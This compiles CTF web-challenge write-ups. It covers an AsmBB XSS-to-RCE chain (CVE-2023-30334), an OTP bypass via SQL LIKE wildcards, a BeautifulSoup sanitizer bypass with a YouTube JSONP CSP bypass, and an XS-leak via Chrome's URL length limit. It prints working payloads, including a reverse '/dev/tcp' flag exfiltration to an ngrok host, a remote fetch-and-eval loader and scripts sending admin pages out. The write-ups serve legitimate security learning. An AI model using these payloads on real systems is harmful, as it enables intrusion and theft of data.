PSH packet is sent from 192.168.1.2 to 192.168.1.1. Next, in between the SYN-PSH pairs, there are RST and URG packets. Since only two different packets are used, binary and morse code comes to mind. Notice that there are *up to* 5 packets between the SYN-PSH pairs. If this was a 5-bit encoding, it wouldn't make much sense for the number of bits to vary from 1 to 5. In [morse code](http://sckans.edu/~sireland/radio/code.html), however, alphanumeric characters are represented by *up to* 5 dots and slashes. ### The Protocol This is a covert TCP channel, implemented using morse code. The protocol is as follows: * RST = . * URG = - * SYN = I have finished sending a character. * PSH = I acknowledge this character. Send the next character. Decoding the morse code gives the flag in hex. ### Solve The following script implements the solution. ```python from Crypto.Util.number import long_to_bytes from scapy.all import * packets = rdpcap("space_noise.pcap") FLAGS = { 'FIN': 0x01, 'SYN': 0x02, 'RST': 0x04, 'PSH': 0x08, 'ACK': 0x10, 'URG': 0x20, 'ECE': 0x40, 'CWR': 0x80 } MORSE_CODE_DICT = { 'A':'.-', 'B':'-...', 'C':'-.-.', 'D':'-..', 'E':'.', 'F':'..-.', 'G':'--.', 'H':'....', 'I':'..', 'J':'.---', 'K':'-.-', 'L':'.-..', 'M':'--', 'N':'-.', 'O':'---', 'P':'.--.', 'Q':'--.-', 'R':'.-.', 'S':'...', 'T':'-', 'U':'..-', 'V':'...-', 'W':'.--', 'X':'-..-', 'Y':'-.--', 'Z':'--..', '1':'.----', '2':'..---', '3':'...--', '4':'....-', '5':'.....', '6':'-....', '7':'--...', '8':'---..', '9':'----.', '0':'-----', ', ':'--..--', '.':'.-.-.-', '?':'..--..', '/':'-..-.', '-':'-....-', '(':'-.--.', ')':'-.--.-'} morse_code = '' for p in packets: if p['TCP'].flags == 'R': morse_code += '.' elif p['TCP'].flags == 'U': morse_code += '-' elif p['TCP'].flags == 'S': morse_code += ' ' message = '' curr = '' print(morse_code) for char in morse_code: if char != ' ': curr += char else: for char in MORSE_CODE_DICT: if MORSE_CODE_DICT[char] == curr: message += char curr = '' print(message) print(long_to_bytes(int(message, 16)).decode()) ``` The flag is `STC{I believe that this Nation should commit itself to achieving the goal, before this decade is out, of landing a man on the Moon and returning him safely to Earth.}` ![](/files/1HOXKwo548ZwLeuq9Iug) # DEF CON CTF 2023 Qualifiers Won this CTF with Blue Water, the collaboration between Water Paddler and Perfect Blue!
I made slides on the two web challenges I worked on: * **Artifact Bunker**, which involves leaking data from a tar archive using partial zip file overwrites. * **Brinebid**, which involves reversing a JavaScript implementation of Python's Pickle serialization to gain remote code execution. {% embed url="" %} # hxp CTF Won this CTF together with friends from [Blue Water](https://ctftime.org/team/205897) (Perfect Blue + Water Paddler).
We solved all the Web challenges in this CTF. All of them, except for *valentine*, were clone-to-pwn challenges requiring us to find a 0day in an open-source web application. | Challenge | Category | Target | | ------------------------------------------------------ | -------- | ------------------------------------------------------------------- | | valentine | Web | [ejs](https://github.com/mde/ejs) | | archived | Web | [Apache Archiva](https://github.com/apache/archiva) | | sqlite\_web | Web | [sqlite-web](https://github.com/coleifer/sqlite-web) | | [true\_web\_assembly](/2023/hxp-ctf/true_web_assembly) | Web | [AsmBB](https://board.asm32.info/asmbb-v2-9-has-been-released.328/) | # true\_web\_assembly From XSS to RCE in AsmBB v2.9.1 ## Update (May 2023) This vulnerability was assigned a CVE! > [**CVE-2023-30334**](https://nvd.nist.gov/vuln/detail/CVE-2023-30334)\ > AsmBB v2.9.1 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the MiniMag.asm and bbcode.asm libraries. ## Description > > > From the post: > > * “AsmBB is very secure web application, because of the internal design and the reduced dependencies. But it also supports encrypted databases, for even higher security.” > * “Download, install and hack” > > Yes ## Solution The challenge is to attack the latest version of [AsmBB](https://asm32.info/fossil/asmbb/index), a web-based message board implemented entirely in x86 assembly. The provided Dockerfile builds the `asmbb` engine using the source files from the `asmbb` and `freshlib` repositories. ```docker # Get source files for asmbb RUN wget https://asm32.info/fossil/asmbb/tarball/4c91cddaec/asmbb-4c91cddaec.tar.gz -O asmbb.tar.gz && \ /bin/bash -c "echo 'b1e621d1ae988b35e836ec9142ccc6ce6cf7c24a090c4d973894770a62fa4ddc asmbb.tar.gz' | sha256sum --check" && \ tar -xf asmbb.tar.gz || true && \ mv asmbb-* asmbb # Get source files for freshlib # AsmBB uses functions from freshlib RUN wget https://fresh.flatassembler.net/fossil/repo/fresh/tarball/6636a57441/Fresh+IDE-6636a57441.tar.gz -O fresh.tar.gz && \ /bin/bash -c "echo '5ba395b0e957536bd66abc572414085aab5f2a527d28214881bbba72ec53e00d fresh.tar.gz' | sha256sum --check" && \ tar -xf fresh.tar.gz && \ mv Fresh* Fresh # Build the asmbb engine RUN lib=/Fresh/freshlib TargetOS=Linux /fasm/fasm -m 200000 /asmbb/source/engine.asm /engine ``` ## Gaining XSS The forum is the main feature of AsmBB, and the default build uses a custom markdown-like parser called MiniMag. Our goal is to achieve a GET-based XSS on the admin user, and subsequently abuse admin features for RCE.
Let's take a look at the AsmBB [source](https://asm32.info/fossil/asmbb). [`render2.asm`](https://asm32.info/fossil/asmbb/file?name=source/render2.asm\&ci=4c91cddaec90fb74) contains a "hash table" of commands used by the templating engine, mapped to their routines. ```nasm PHashTable tableRenderCmd, tpl_func, \ 'special:', RenderTemplate.cmd_special, \ 'raw:', RenderTemplate.cmd_raw, \ 'include:', RenderTemplate.cmd_include, \ 'minimag:', RenderTemplate.cmd_minimag, \ ; HTML, no encoding. 'bbcode:', RenderTemplate.cmd_bbcode, \ ; HTML, no encoding. 'html:', RenderTemplate.cmd_html, \ ; HTML, disables the encoding. 'attachments:', RenderTemplate.cmd_attachments, \ ; HTML, no encoding. 'attach_edit:', RenderTemplate.cmd_attachedit, \ ; HTML, no encoding. 'url:', RenderTemplate.cmd_url, \ ; Needs encoding! 'json:', RenderTemplate.cmd_json, \ ; No encoding. 'css:', RenderTemplate.cmd_css, \ ; No output, no encoding. 'equ:', RenderTemplate.cmd_equ, \ 'const:', RenderTemplate.cmd_const, \ 'enc:', RenderTemplate.cmd_encode, \ ; encode the content in html encoding. 'usr:', RenderTemplate.cmd_user_encode \ ; encodes the unicode content of the user nickname for unicode-clones distinction. ``` We can see this in action in [`post_view.tpl`](https://asm32.info/fossil/asmbb/file?name=www/templates/Urban+Sunrise/post_view.tpl\&ci=4c91cddaec90fb74) where the post is rendered. Depending on `format`, the post content is either parsed with `minimag` or `bbcode`, and the final output is rendered as HTML. ```html
[html:[[case:[format]|minimag:[include:minimag_suffix.tpl]|bbcode:][Content]]]
``` Although the client-side UI only allows us to write content in the MiniMag format, the POST request to submit the post does include a `format` parameter. ```http POST /!post HTTP/1.1 Host: localhost:9032 Content-Length: 917 ... Connection: close ... ------WebKitFormBoundarydKCsA6RKHAepAWPn Content-Disposition: form-data; name="format" 0 ------WebKitFormBoundarydKCsA6RKHAepAWPn Content-Disposition: form-data; name="source" [http://example.com][My link] ------WebKitFormBoundarydKCsA6RKHAepAWPn-- ``` When set to 1, the `format` parameter allows us to use the [BBCode](https://en.wikipedia.org/wiki/BBCode) parser instead. This uses the `bbcode` command, which calls the `.cmd_bbcode` routine. ```nasm .cmd_bbcode: ; here esi points to ":" of the "bbcode:" command. edi points to the start "[" and ecx points to the end "]" locals BenchVar .bbcode_time endl BenchmarkStart .bbcode_time stdcall TextMoveGap, edx, ecx stdcall TextSetGapSize, edx, 4 mov dword [edx+ecx], 0 add [edx+TText.GapBegin], 4 inc [edx+TText.GapEnd] ; delete the end "]" stdcall TextMoveGap, edx, edi add [edx+TText.GapEnd], 8 stdcall TranslateBBCode, edx, edi, SanitizeURL ... ``` Since the BBCode parser was a [newer](https://board.asm32.info/the-latest-update-of-this-forum.258/) parser introduced after MiniMag, and isn't enabled by default, we thought this would be the best place to start looking for parser vulnerabilities. The `TranslateBBCode` routine from [`bbcode.asm`](https://fresh.flatassembler.net/fossil/repo/fresh/artifact/0457fbe206805cbe) (found in [FreshLib](https://fresh.flatassembler.net/fossil/repo/fresh)) is then used to parse the BBCode content. Here we see a table of supported BBCode tags. ```nasm PHashTable tableBBtags, tpl_func, \ 'b', tagStrong, \ '*', tagListItem, \ 'i', tagEm, \ 'u', tagUnderlined, \ 's', tagDel, \ 'c', tagInlineCode, \ 'url', tagURL, \ 'img', tagImg, \ 'quote', tagQuote, \ ... ``` BBCode is an old markup language that has a rather simple syntax. Tags are enclosed by square brackets, and some tags can have attributes, such as the following URL tag: ```bbcode [url=https://example.com]My link[/url] ``` The main loop of the parser is found at `.loop`. For each character, the logic goes: * if the end of the text has been reached, exit the loop * if it is a newline or space character, skip it * if it is `[`, process the tag at `.start_tag` * if it is the start of an emoji, process the emoji ```nasm .loop: mov ecx, [edx+TText.GapEnd] cmp ebx, [edx+TText.GapBegin] cmovb ecx, [edx+TText.GapBegin] sub ecx, [edx+TText.GapBegin] add ecx, ebx cmp ecx, [edx+TText.Length] jae .end_of_text movzx eax, byte [edx+ecx] test al, al jz .end_of_text cmp al, $0d je .new_line cmp al, $0a je .new_line cmp al, $20 jbe .next ; skip all whitespace ... .paragraph_ok: cmp al, "[" je .start_tag ; here check for emoticons cmp al, $f0 ; emoji? jb .continue ... ``` Otherwise, we go to `.continue`, where the character is HTML encoded. ```nasm .continue: ; html encoding from here test al, al ; all values > 127 are unicode and should not be encoded. js .next movzx eax, byte [tbl_html+eax] test al, al jz .del_char jns .next ; the same as above lea esi, [eax+tbl_html] ; the address of the replacement string. lodsb movzx ecx, al ; length ; insert the replacement html encoding from esi stdcall TextMoveGap, edx, ebx stdcall TextSetGapSize, edx, ecx inc [edx+TText.GapEnd] ; delete the previous char. mov edi, [edx+TText.GapBegin] add edi, edx add [edx+TText.GapBegin], ecx add ebx, ecx rep movsb jmp .loop ``` Notice that unless the current character is part of an emoji or part of an opening/closing tag, we will reach the HTML-encoding logic. This is done through a simple text substitution that sanitizes angle brackets, quotes, and ampersands. ```nasm HtmlEntities tbl_html, \ $09, $0d, \ $0a, $0a, \ $0d, $0d, \ '<', '<', \ '>', '>', \ '"', '"', \ "'", ''', \ '&', '&' ``` Since everything outside the opening/closing tag are HTML-encoded, let's take a closer look at the tag-processing logic. When a tag is matched, a string substitution is performed based on the table below. ```nasm ... tagImg onetag ', fBlockTag or fDisableTags or fURLContent tagInlineImg onetag ', fInlineTag or fDisableTags or fURLContent tagSize onetag txt '', txt '', fInlineTag tagColor onetag txt '', txt '', fInlineTag tagEmail onetag txt '', txt '', 0 ... ``` The 2nd, 3rd, and 4th columns correspond to the start of the tag, end of the attribute, and end of the tag respectively. For instance, the following markup ```bbcode [email=example@example.com]Click Here[/email] ``` becomes ``` + Click Here + ``` The attribute value and the content in between the opening/closing tags are processed separately from the tag itself, and are thus subject to HTML-encoding. If there's any parsing bug to be found, it would probably have to be while parsing the tag. *What if we just don't close the tag?* Since the tag isn't being encoded while it is processed, there might be an edge case where the unencoded content is reflected in the absence of a closing `]`. *Voilà*, the following markup ```bbcode [email= ``` which when rendered on a browser, pops an alert!
## Honourable Mentions We also found two POST-based XSS vectors, which unfortunately were unusable in this challenge in the absence of an open redirect (since the admin bot is only able to visit the challenge page, and no other page). The first was a POST request to `!post`. This would have reflected the XSS payload in the page ``. ```markup <html> <body> <form action="http://localhost:9032/!post" method="POST"> <input type="hidden" name="attach" value="" /> <input type="hidden" name="format" value="0" /> <input type="hidden" name="invited" value="1" /> <input type="hidden" name="limited" value="1" /> <input type="hidden" name="preview" value="p" /> <input type="hidden" name="source" value="foo" /> <input type="hidden" name="tabselector" value="0" /> <input type="hidden" name="tags" value="17" /> <input type="hidden" name="ticket" value="foo" /> <input type="hidden" name="title" value="e</title><script>alert(origin)</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` <figure><img src="/files/AcQDUQl5imZzln4d8iAU" alt=""><figcaption></figcaption></figure> The second is a HTTP response splitting attack. The `!skincookie` endpoint reflects form data in the `Set-Cookie` header, and allows for for CRLF injection. In addition to XSS, this can be used to set arbitrary cookies and response headers. <figure><img src="/files/Mrq0NccQ7tbygY5MljDw" alt=""><figcaption></figcaption></figure> ## Gaining RCE Armed with admin privileges, one would see a suspiciously named setting in `/!settings`. <figure><img src="/files/r2fD5U9t3g3Wxa8jn7tq" alt=""><figcaption></figcaption></figure> A setting called "Pipe the emails through" sure sounds promising for RCE. Looking for the form key `smtp_exec` shows us that this option is being used in [`commands.asm`](https://asm32.info/fossil/asmbb/file?name=source/commands.asm\&ci=4c91cddaec90fb74) when sending a user activation email. ```nasm proc SendActivationEmail, .stmt .stmt2 dd ? .subj dd ? .body dd ? .host dd ? .from dd ? .to dd ? .smtp_addr dd ? .smtp_port dd ? .exec dd ? begin ... xor eax, eax stdcall GetParam, txt "smtp_exec", gpString mov [.exec], eax test eax, eax jnz .addresses_ok ... ; send by external program. stdcall CreatePipe mov ebx, eax stdcall FileWriteString, edx, txt "From: " stdcall FileWriteString, edx, [.from] stdcall FileWriteString, edx, txt "@" stdcall FileWriteString, edx, [.host] stdcall FileWriteString, edx, <txt 13, 10> stdcall FileWriteString, edx, txt "To: " stdcall FileWriteString, edx, [.to] stdcall FileWriteString, edx, <txt 13, 10> stdcall FileWriteString, edx, txt "Subject: " stdcall FileWriteString, edx, [.subj] stdcall FileWriteString, edx, <txt 13, 10> stdcall FileWriteString, edx, [.body] stdcall FileWriteString, edx, <txt 13, 10> stdcall FileClose, edx stdcall Exec2, [.exec], ebx, [STDOUT], [STDERR] stdcall WaitProcessExit, eax, -1 stdcall FileClose, ebx clc jmp .finish ``` Looks like our `smtp_exec` option is being passed to `Exec2`. A quick look at [`process.asm`](https://fresh.flatassembler.net/fossil/repo/fresh/artifact/6e99edc24ea48311) reveals that this spawns a child process with our input. Great! ```nasm body Exec2 .pArgs dd ? begin pushad stdcall StrSplitArg, [.hCommand] mov [.pArgs], eax mov eax, sys_fork int $80 test eax, eax jnz .parent ; this is the parent process ; here is the child. DebugMsg "Child process here!" ... ``` All we have to do now is to change this option to a payload that sends us the flag. ``` /bin/bash -c /readflag>/dev/tcp/0.tcp.ngrok.io/11818 ``` ## Putting It All Together Here's the final exploit that we will serve to the admin. Here, I used a first-stage payload to keep the exploit small, but serving the whole exploit in one payload would work as well. ```javascript fetch("http://HOST:PORT/exploit.js").then(r=>r.text()).then(eval) ``` is converted to base64 and eval-ed: {% code overflow="wrap" %} ``` [color=<img src=x onerror=eval(atob('ZmV0 ... bCk=')) ``` {% endcode %} which then executes the RCE payload: ```javascript const rce = (smtp_exec, ticket) => { fetch(`${window.origin}/!settings`, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: `forum_title=&forum_header=%3Ch1+style%3D%22font-weight%3A+800%22%3EAsmBB%3C%2Fh1%3E%0D%0A%3Cb+style%3D%22text-align%3A+center%22%3EPower%3Cbr%3E%0D%0A%3Csvg+version%3D%221.1%22+width%3D%2264%22+height%3D%2216%22+viewBox%3D%220+0+64+16%22+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0D%0A+%3Cpath+d%3D%22m0+6+8+10h34l-6-6+28-2-50-8+8+8z%22%2F%3E%0D%0A%3C%2Fsvg%3E%0D%0A%3C%2Fb%3E%0D%0A&description=&keywords=&tabselector=1&host=asdf&smtp_addr=asdf&smtp_port=25` + `&smtp_exec=${smtp_exec}&smtp_user=asdf&email_confirm=on&user_perm=1&user_perm=2&user_perm=4&user_perm=8&user_perm=16&user_perm=64&user_perm=256&user_perm=512&user_perm=1024&post_interval=0&post_interval_inc=0&max_post_length=0&anon_perm=1&anon_perm=2&activate_min_interval=0&default_lang=0&page_length=20&default_skin=Urban+Sunrise&default_mobile_skin=Urban+Sunrise&chat_enabled=on&markups=1&password=` + `&ticket=${ticket}&save=Save` }) } const smtp_exec = encodeURIComponent("/bin/bash -c /readflag>/dev/tcp/HOST/PORT") fetch(`${window.origin}/!settings`) .then(response => response.text()) .then(text => { const m = text.match(/name="ticket" value="([^"]+)"/); console.log(m); if (m) { const ticket = m[1]; rce(smtp_exec, ticket) } }); ``` Once the admin visits our exploit page, just register a new user and the flag will be sent to us! ``` $ nc -lv 1337 hxp{iTs_f4s7_iT$_sM4lL_NoB0d1_c4n_br3aK_!t_1f_n0b0dY_c4n_r3ad_i7} ``` # HackTM CTF Qualifiers [Social Engineering Experts](https://seetf.sg/) participated in this CTF organized by [WreckTheLine](https://wrecktheline.com/) and got 6th place! <figure><img src="/files/7coYeVcRzGJgPalBtVFt" alt=""><figcaption></figcaption></figure> It's also the second week in a row (after LACTF) that I managed to fully clear the Web category in a CTF, so I'm pretty happy with the result. <figure><img src="/files/FHwhOmWkNMmeqsiuwpBs" alt=""><figcaption></figcaption></figure> | Challenge | Category | Solves | | -------------------------------------------------- | -------- | ------ | | [Crocodilu](/2023/hacktm-ctf-qualifiers/crocodilu) | Web | 16 | | [secrets](/2023/hacktm-ctf-qualifiers/secrets) | Web | 9 | | [Hades](/2023/hacktm-ctf-qualifiers/hades) | Web | 13 | # Crocodilu CSP bypass through unsupported www\.youtube.com JSONP endpoint ## Description > Check out my new video sharing platform! {% file src="/files/b4JxHR3lXQyBUVXwKekL" %} ## Solution 1. [Gaining access through SQL `LIKE` injection](#gaining-access) 2. [Bypassing HTML sanitization through parser differential between BeautifulSoup and browsers](#bypassing-html-sanitization) 3. [Bypassing strict CSP through unsupported `www.youtube.com` JSONP endpoint](#abusing-youtube-jsonp-endpoint) ### Gaining Access The first thing we needed to do was to gain access to the application. We can register a new user, but attempting to log in as that user would result in a "User not active" error. <figure><img src="/files/BcmXrEaNgYlJkFwQLmko" alt=""><figcaption></figcaption></figure> Taking a look at `auth.py`, we would see that a successful password reset at `/reset_password` would set `user.active` to `True`, allowing us to access the app. ```python def reset_password(): ... if user and not user.admin: user.code = None user.password = generate_password_hash(password) user.active = True db.session.commit() return redirect(url_for('login')) ``` To do so, we first have to request an OTP at `/request_code`. This sets `user.code` to a random 4-digit number. ```python def request_code(): ... user = User.query.filter(User.email.like(email)).first() if user: if user.admin: return render_template('request_code.html', error='Admins cannot reset their password') user.code = ''.join(random.choices(string.digits, k=4)) # TODO: send email with code, will fix this next release db.session.commit() return redirect(url_for('reset_password')) else: return render_template('request_code.html', error='Invalid email') ``` If no rate limiting is enforced on `/reset_password`, a 4-digit OTP would be trivial to brute-force. However, in this case, rate limiting is enforced on a per-email basis through a Redis store. ```python email = request.form['email'].strip() if not is_valid_email(email): return render_template('request_code.html', error='Invalid email') reqs = redis.get(email) if reqs is not None and int(reqs) > 2: return render_template('reset_password.html', error='Too many requests') else: if reqs is None: redis.set(email, '1') else: redis.incr(email) redis.expire(email, 3600) ``` When a guess at the OTP is made, the value for the corresponding email address is incremented by 1. After 3 attempts, any further attempts for the same email address are blocked. Interestingly, the SQL query that checks the OTP code uses the `LIKE` operator. ```python code = request.form['code'].strip() if not code.isdigit(): return render_template('reset_password.html', error='Invalid code') password = request.form['password'] user = User.query.filter(User.email.like(email) & User.code.like(code)).first() ``` The final query is something like ```sql SELECT * FROM users WHERE email LIKE "email" AND code LIKE "code" ``` which means that if we can insert the `%` wildcard at the start or end of either `email` or `code`, there's a good chance we can bypass the check in reasonable time. Unfortunately, `code` is checked using `code.isdigit()`. Let's see if we can get past `is_valid_email(email)` instead. ```python def is_valid_email(email: str) -> bool: email_pattern = re.compile(r"[0-9A-Za-z]+@[0-9A-Za-z]+\.[a-z]+") return email_pattern.match(email) is not None ``` The regular expression does not allow for special characters like `%`. However, [re.match](https://docs.python.org/3/library/re.html) only matches at the *beginning* of the string, so this still allows for wildcards at the *end* of the email. > If zero or more characters at the beginning of *string* match the regular expression *pattern*, return a corresponding match object. Return `None` if the string does not match the pattern; note that this is different from a zero-length match. There are two possibilities here - the first one is to create many accounts sharing the same prefix in their emails, increasing the chance that any code would be valid for `some@email.prefix%`. Because the registration form is reCAPTCHA-protected, this is not possible. The approach we take instead relies on the ability to add any number of `%` characters at the end of the email. Because `%` matches 0 or more characters, the query will yield the same result no matter how many `%` characters are added. ```python import grequests import sys EMAIL = "socengexp@socengexp.socengexp" PASSWORD = "socengexp12345!" for i in range(0, 10000, 100): print(f"Trying {i}") results = grequests.map(grequests.post("http://34.141.16.87:25000/reset_password", data={ "email": EMAIL + "%" * (i + j), "code": str(i + j).zfill(4), "password": PASSWORD }) for j in range(100)) for r in results: if "Invalid email or code" not in r.text: print(r.text) sys.exit(0) ``` Using this script, we can brute force the entire OTP space within a few minutes. ### Bypassing HTML Sanitization Now that we are in, where is the flag? When the container first starts up a post is made containing the flag. The post is admin-only, which means we need to stage a client-side attack against the admin. ```python with app.app_context(): db.create_all() if not User.query.filter(User.email.like('admin@hacktm.ro')).first(): user = User(name='admin', email='admin@hacktm.ro', password=generate_password_hash( os.getenv('ADMIN_PASSWORD', 'admin')), active=True, admin=True) db.session.add(user) post = Post(title='Welcome to Crocodilu', content=os.getenv('FLAG', 'HackTM{example}'), author=user) db.session.add(post) db.session.commit() ``` Our first hurdle is [BeautifulSoup](https://beautiful-soup-4.readthedocs.io/en/latest/). Our HTML content is parsed and checked for any blacklisted tags. Combined with a restrictive CSP, this greatly restricts what we can do. ```python @app.route('/create_post', methods=['GET', 'POST']) @login_required def create_post(): blacklist = ['script', 'body', 'embed', 'object', 'base', 'link', 'meta', 'title', 'head', 'style', 'img', 'frame'] if current_user.admin: return redirect(url_for('profile')) form = PostForm() if form.validate_on_submit(): content = form.content.data soup = BeautifulSoup(content, 'html.parser') for tag in blacklist: if soup.find(tag): content = 'Invalid YouTube embed!' break for iframe in soup.find_all('iframe'): if iframe.has_attr('srcdoc') or not iframe.has_attr('src') or not iframe['src'].startswith('https://www.youtube.com/'): content = 'Invalid YouTube embed!' break post = Post(title=form.title.data, content=content, author=current_user) db.session.add(post) db.session.commit() flash('Your post has been created!', 'success') return redirect(url_for('profile')) return render_template('create_post.html', title='Create Post', form=form) ``` Luckily for us, the built-in `html.parser` does not treat malformed HTML the same way as a standards-compliant HTML5 parser would. There is a [section](https://beautiful-soup-4.readthedocs.io/en/latest/#differences-between-parsers) dedicated to this in the documentation. One trick to exploit this parser differential is through HTML comments. Consider the following payload: ``` <!--><script>alert(1)</script>--> ``` BeautifulSoup thinks that the comment spans the entire payload, ending at `-->`. ```python >>> from bs4 import BeautifulSoup >>> BeautifulSoup("<!--><script>alert(1)</script>-->", "html.parser").find_all() [] ``` However, a HTML5 parser would accept `<!-->` as a valid comment. We can test this out on any modern browser using a [DOM viewer](https://software.hixie.ch/utilities/js/live-dom-viewer/). <figure><img src="/files/65dKtrnlao4DZL71PHIH" alt=""><figcaption></figcaption></figure> ### Abusing YouTube JSONP Endpoint Now that we can inject arbitrary HTML, we have to get past the rather restrictive CSP that is applied on all pages through the Nginx proxy. {% code overflow="wrap" %} ```properties add_header Content-Security-Policy "default-src 'self' www.youtube.com www.google.com/recaptcha/ www.gstatic.com/recaptcha/ recaptcha.google.com/recaptcha/; object-src 'none'; base-uri 'none';"; ``` {% endcode %} Throwing this into Google's [CSP evaluator](https://csp-evaluator.withgoogle.com/) shows us that `www.youtube.com` might host JSONP endpoints that we can abuse. <figure><img src="/files/iERTTq7oEYbiZ79K0K9S" alt=""><figcaption></figcaption></figure> If so, we could use something like <pre class="language-html"><code class="lang-html"><strong><script src="https://www.youtube.com/some_jsonp_endpoint?callback=alert"></script> </strong></code></pre> to achieve an XSS. But *where*? The evaluator is checking against a pre-defined list of known JSONP endpoints [here](https://github.com/google/csp-evaluator/blob/master/allowlist_bypasses/json/jsonp.json). The only one that matches `www.youtube.com` is: ``` "//www.youtube.com/profile_style" ``` which seems to be outdated because visiting that URL just brings us to a YouTube profile called "Profile Style". <figure><img src="/files/oU2bcsABJidUerPpLsvv" alt=""><figcaption></figcaption></figure> At this point, I tried getting Burp Suite to insert a `callback=` parameter to all JSON endpoints requested using an extension like [this one](https://github.com/kapytein/jsonp) and using YouTube as a normal user, hoping to get lucky. Alas, this did not yield any results. After sleeping off my frustration, I came back to this challenge when my teammate sent a link to an obscure issue on [Google's issue tracker](https://issuetracker.google.com/issues/35171971). <figure><img src="/files/NXwRCIxzeirJRLumZma1" alt=""><figcaption></figcaption></figure> This didn't seem very helpful. After all, Google decided *not* to implement JSONP on the `/oembed` API, right? Using the `callback` parameter seems to have no effect. <figure><img src="/files/sfLWP8dMTLJ8o8Cv2vQx" alt=""><figcaption></figcaption></figure> But when I randomly tried using `alert();` instead of `alert`, the following response was returned. {% code overflow="wrap" %} ```javascript // API callback alert();({ "error": { "code": 400, "message": "Invalid JSONP callback name: 'alert();'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.", "status": "INVALID_ARGUMENT" } } ); ``` {% endcode %} Wait, did I just trigger a JSONP response? For some reason, using a "valid" callback name does not elicit a JSONP response, but an "invalid" one yields a JSONP response saying that the callback name is invalid. That's really weird and ironic. With our `callback` parameter reflected into the response, we can now inject arbitrary JavaScript code. The only restrictions are that quotes and angle brackets are escaped. To exfiltrate the contents of the admin's `/profile` page, the following `callback` value can be used. {% code overflow="wrap" %} ```javascript &callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?` btoa(txt)}) ``` {% endcode %} Combined with the BeautifulSoup bypass above, the final payload we submit is: {% code overflow="wrap" %} ``` <!--><script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>--> ``` {% endcode %} We can then find the URL of the post containing the flag: ```html ... <h1>admin's Posts</h1> <ul class="list-group"> <li class="list-group-item"> <a href="/post/68a30ae2-a8f3-4d12-9ffa-0564a3a7177b">Welcome to Crocodilu</a> <span class="float-right">2023-02-18</span> </li> </ul> ... ``` and repeat this one more time to fetch `/post/68a30ae2-a8f3-4d12-9ffa-0564a3a7177b` instead. ```markup ... <article class="media content-section"> <div class="media-body"> <h2>Welcome to Crocodilu</h2> <p class="article-content">HackTM{trilulilu_crocodilu_xssilu_9bc3af}</p> <small class="text-muted">2023-02-18</small> </div> </article> ... ``` # secrets XS leak through cross-origin redirects — intended and unintended ## Overview > A secure and secret note storage system is a platform or application designed to keep your confidential notes safe from unauthorized access. The challenge revolved around searching contents of secret notes. <figure><img src="/files/etphoqcGgmzjhQNaTdAU" alt=""><figcaption></figcaption></figure> Let's examine the behaviour of the search feature. When searching for a note through `/search?query=<query>`, there are two possible responses: 1. The note was found. In this case, a 301 redirect is issued to `http://results.wtl.pw/results?ids=<note UUIDs>&query=<query>`. ```http HTTP/1.1 301 MOVED PERMANENTLY Server: nginx/1.23.3 Date: Sun, 19 Feb 2023 13:48:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 357 Connection: close Location: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test Vary: Cookie <!doctype html> <html lang=en> <title>Redirecting...

Redirecting...

You should be redirected automatically to the target URL: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test. If not, click the link. ``` It is important to note that this is a redirect to a *different* subdomain. Searching on **`secrets`**`.wtl.pw` redirects to **`results`**`.wtl.pw`.

2. The note was not found. In this case, a 301 redirect is issued to `http://secrets.wtl.pw/#`. ```http HTTP/1.1 301 MOVED PERMANENTLY Server: nginx/1.23.3 Date: Sun, 19 Feb 2023 13:51:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 241 Connection: close Location: http://secrets.wtl.pw/#asdf Vary: Cookie Redirecting...

Redirecting...

You should be redirected automatically to the target URL: http://secrets.wtl.pw/#asdf. If not, click the link. ```

## Unintended Solution — Chrome's 2MB URL Limit One thing that might be immediately noticeable is that if the note was found, then the resulting URL length is extended considerably by the `ids` parameter. A [well-known technique](https://xsleaks.dev/docs/attacks/navigations/#inflation) in these kinds of scenarios is hitting the server's maximum URL limit, and detecting error status codes. However, these rely on `SameSite=None` cookies for the [error event detection](https://xsleaks.dev/docs/attacks/error-events/). The challenge had `SameSite=Lax` cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through `window.open`). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to detect the URL inflation. We might not be able to detect a *server-side* URL length error, but can we somehow detect a *client-side* one? According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB. > In general, the *web platform* does not have limits on the length of URLs (although 2^31 is a common limit). *Chrome* limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication. This is where it gets interesting! Because this is a *client-side* constraint, and URL fragments persist on redirects, we can open `/search?query=#AAA...[2MB]...AAA` to hit the length limit. So, what happens when the URL limit is exceeded? Apparently, it shows an `about:blank#blocked` page.
As you might expect, trying to access the `origin` (or any other sensitive information) of a cross-origin window reference would raise an exception.
However, when opening a page that errors out due to the 2MB constraint, the window's `origin` remains that of the parent. As an experiment, let's try a successful query. ```javascript let url = "http://secrets.wtl.pw/search?query=test#" let w = window.open(url + "A".repeat(2 * 1024 * 1024 - url.length - 1)) ``` The length of the opened URL ``` http://secrets.wtl.pw/search?query=test#AAA...AAA ``` is exactly 2MB - 1, so the initial search URL is just under the length limit. When the window is redirected to ``` http://results.wtl.pw/results?ids=&query=test#AAA...AAA ``` the URL is extended and the length limit is hit. The window becomes an `about:blank` page and its `origin` remains that of the parent.
Now, if we try the same thing on an unsuccessful query, the final redirected URL falls short of the 2MB limit and the window's `origin` is no longer accessible.
